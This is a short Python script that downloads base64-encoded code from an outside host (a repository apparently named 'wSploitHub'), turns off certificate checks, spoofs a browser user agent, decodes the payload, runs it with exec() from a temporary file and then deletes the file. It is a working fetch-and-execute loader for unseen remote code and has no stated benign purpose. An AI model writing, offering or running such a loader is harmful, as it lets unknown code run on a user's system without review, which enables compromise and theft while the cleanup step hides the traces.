import requests import base64 import tempfile import os def get_contents(url): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0" } response = requests.get(url, headers=headers, verify=False) return response.text if response.status_code == 200 else None url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigpy" encoded_code = get_contents(url) if encoded_code: decoded_code = base64.b64decode(encoded_code).decode("utf-8") with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file: temp_file.write(decoded_code.encode("utf-8")) temp_file_path = temp_file.name try: exec(open(temp_file_path).read()) finally: os.remove(temp_file_path)